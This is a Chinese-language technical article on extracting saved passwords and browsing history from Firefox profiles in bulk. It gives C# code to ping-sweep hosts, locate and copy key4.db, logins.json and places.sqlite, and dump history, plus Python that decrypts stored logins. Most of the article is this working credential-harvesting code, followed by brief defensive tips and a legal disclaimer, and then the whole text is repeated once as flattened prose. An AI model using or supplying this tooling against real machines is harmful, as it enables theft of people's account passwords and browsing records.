firefox批量get password
字数 1155 2025-08-06 18:07:33

Firefox 密码与历史记录提取技术详解

1. Firefox 密码存储机制概述

Firefox 浏览器在不同版本中使用了不同的密码存储机制:

Firefox 版本 关键文件 加密算法
<32 key3.db, signons.sqlite 3DES
>=32 key3.db, logins.json 3DES
>=58.0.2 key4.db, logins.json 3DES
>=75.0 key4.db, logins.json SHA1 PBKDF2 + SHA256 + AES256 CBC

2. 配置文件位置

Firefox 配置文件默认存储在:

%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\

其中 xxxxxxxx 为8位随机字符,后面可能跟有其他字符。

3. 批量提取技术实现

3.1 前置准备

  1. 创建目标目录结构:
string currentpath = Directory.GetCurrentDirectory();
FireFoxInfo = currentpath + "\\FireFoxInfo";
Directory.CreateDirectory(FireFoxInfo);
  1. 主机存活检测:
public static bool IsMachineUp(string hostName) {
    bool retVal = false;
    try {
        Ping pingSender = new Ping();
        PingOptions options = new PingOptions();
        options.DontFragment = true;
        string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        byte[] buffer = Encoding.ASCII.GetBytes(data);
        int timeout = 800;
        PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
        if (reply.Status == IPStatus.Success) {
            retVal = true;
        }
    } catch {
        retVal = false;
    }
    return retVal;
}

3.2 文件查找与复制

  1. 递归查找文件:
public static string FindFile(string filePath, string fileName) {
    string returnstr = "";
    DirectoryInfo[] dateDirArr = new DirectoryInfo(filePath).GetDirectories();
    foreach (DirectoryInfo directoryInfo in dateDirArr) {
        string Directoryfullpath = filePath + "\\" + directoryInfo;
        string Filefullpath = Directoryfullpath + "\\" + fileName;
        if (!File.Exists(Filefullpath)) {
            FindFile(Directoryfullpath, fileName);
        } else {
            returnstr = Filefullpath;
        }
    }
    return returnstr;
}
  1. 复制关键文件:
string firefox_key_path_cuurent = UserFolder + "\\" + firefox_key;
StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
firefox_key_cuurent.Close();
bool isrewrite = true;
File.Copy(firefox_key_path, firefox_key_path_cuurent, isrewrite);

3.3 历史记录提取

历史记录存储在 places.sqlitemoz_places 表中:

SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + cookie_path_current);
connect.Open();
string sql = "select * from moz_places";
SQLiteCommand command = new SQLiteCommand(sql, connect);
command.CommandType = CommandType.Text;
SQLiteDataReader r = command.ExecuteReader();

while (r.Read()) {
    string url = Convert.ToString(r["url"]);
    string title = Convert.ToString(r["title"]);
    string description = Convert.ToString(r["description"]);;
    string out_string = "url:" +url + "\r\n" + "title:" +title + "\r\n";
    File.AppendAllText(gethistorypath, out_string);
}
connect.Close();

4. 密码解密技术

4.1 Firefox 58.0.2 - 75.0 版本解密流程

  1. key4.db 中提取编码+加密的 password-check 数据
  2. ASN1 解码
  3. 使用 3DES 解密 password-check 字符串(验证密码正确性)
  4. key4.db 中提取编码+加密的主密钥
  5. ASN1 解码
  6. 使用 3DES 解密主密钥
  7. logins.json 读取加密的登录名和密码
  8. ASN1 解码
  9. 使用主密钥 3DES 解密登录数据

4.2 Firefox ≥75.0 版本解密流程

  1. key4.db 中提取编码+加密的 password-check 数据
  2. ASN1 解码
  3. 使用 AES 解密 password-check 字符串(验证密码正确性)
  4. key4.db 中提取编码+加密的主密钥
  5. ASN1 解码
  6. 使用 3DES 解密主密钥
  7. logins.json 读取加密的登录名和密码
  8. ASN1 解码
  9. 使用主密钥 3DES 解密登录数据

4.3 Python 解密实现

target_path = []
dir = "C:\\Path\\To\\FireFoxInfo\\"

for root, dirs, files in os.walk(dir):
    for file in files:
        path = os.path.join(root,file)
        if ("logins.json" in os.path.join(root,file)):
            path = path.replace("logins.json", "")
            target_path.append(path)

for i in target_path:
    key, algo = getKey(options.masterPassword.encode(), Path(i))
    if key==None:
        sys.exit()
    
    logins = getLoginData(i)
    if len(logins)==0:
        print('no stored passwords')
    else:
        print('decrypting login/password pairs')
        if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
            for i in logins:
                assert i[0][0] == CKA_ID
                print('%20s:' % (i[2]),end='') #site URL
                iv = i[0][1]
                ciphertext = i[0][2]
                print(unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8), end=',')
                iv = i[1][1]
                ciphertext = i[1][2]
                print(unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8))
            print("\r\n")

5. 防御建议

  1. 使用主密码保护 Firefox 存储的密码
  2. 定期清理浏览器历史记录
  3. 限制对用户配置文件的访问权限
  4. 及时更新 Firefox 到最新版本
  5. 在共享或公共计算机上避免保存密码

6. 法律与道德声明

本文档仅用于教育目的和安全研究,未经授权访问他人计算机系统或数据是违法行为。使用者应确保遵守所有适用的法律法规,仅在合法授权的情况下进行相关测试。

Firefox 密码与历史记录提取技术详解 1. Firefox 密码存储机制概述 Firefox 浏览器在不同版本中使用了不同的密码存储机制: | Firefox 版本 | 关键文件 | 加密算法 | |--------------|---------|----------| | <32 | key3.db, signons.sqlite | 3DES | | >=32 | key3.db, logins.json | 3DES | | >=58.0.2 | key4.db, logins.json | 3DES | | >=75.0 | key4.db, logins.json | SHA1 PBKDF2 + SHA256 + AES256 CBC | 2. 配置文件位置 Firefox 配置文件默认存储在: 其中 xxxxxxxx 为8位随机字符,后面可能跟有其他字符。 3. 批量提取技术实现 3.1 前置准备 创建目标目录结构: 主机存活检测: 3.2 文件查找与复制 递归查找文件: 复制关键文件: 3.3 历史记录提取 历史记录存储在 places.sqlite 的 moz_places 表中: 4. 密码解密技术 4.1 Firefox 58.0.2 - 75.0 版本解密流程 从 key4.db 中提取编码+加密的 password-check 数据 ASN1 解码 使用 3DES 解密 password-check 字符串(验证密码正确性) 从 key4.db 中提取编码+加密的主密钥 ASN1 解码 使用 3DES 解密主密钥 从 logins.json 读取加密的登录名和密码 ASN1 解码 使用主密钥 3DES 解密登录数据 4.2 Firefox ≥75.0 版本解密流程 从 key4.db 中提取编码+加密的 password-check 数据 ASN1 解码 使用 AES 解密 password-check 字符串(验证密码正确性) 从 key4.db 中提取编码+加密的主密钥 ASN1 解码 使用 3DES 解密主密钥 从 logins.json 读取加密的登录名和密码 ASN1 解码 使用主密钥 3DES 解密登录数据 4.3 Python 解密实现 5. 防御建议 使用主密码保护 Firefox 存储的密码 定期清理浏览器历史记录 限制对用户配置文件的访问权限 及时更新 Firefox 到最新版本 在共享或公共计算机上避免保存密码 6. 法律与道德声明 本文档仅用于教育目的和安全研究,未经授权访问他人计算机系统或数据是违法行为。使用者应确保遵守所有适用的法律法规,仅在合法授权的情况下进行相关测试。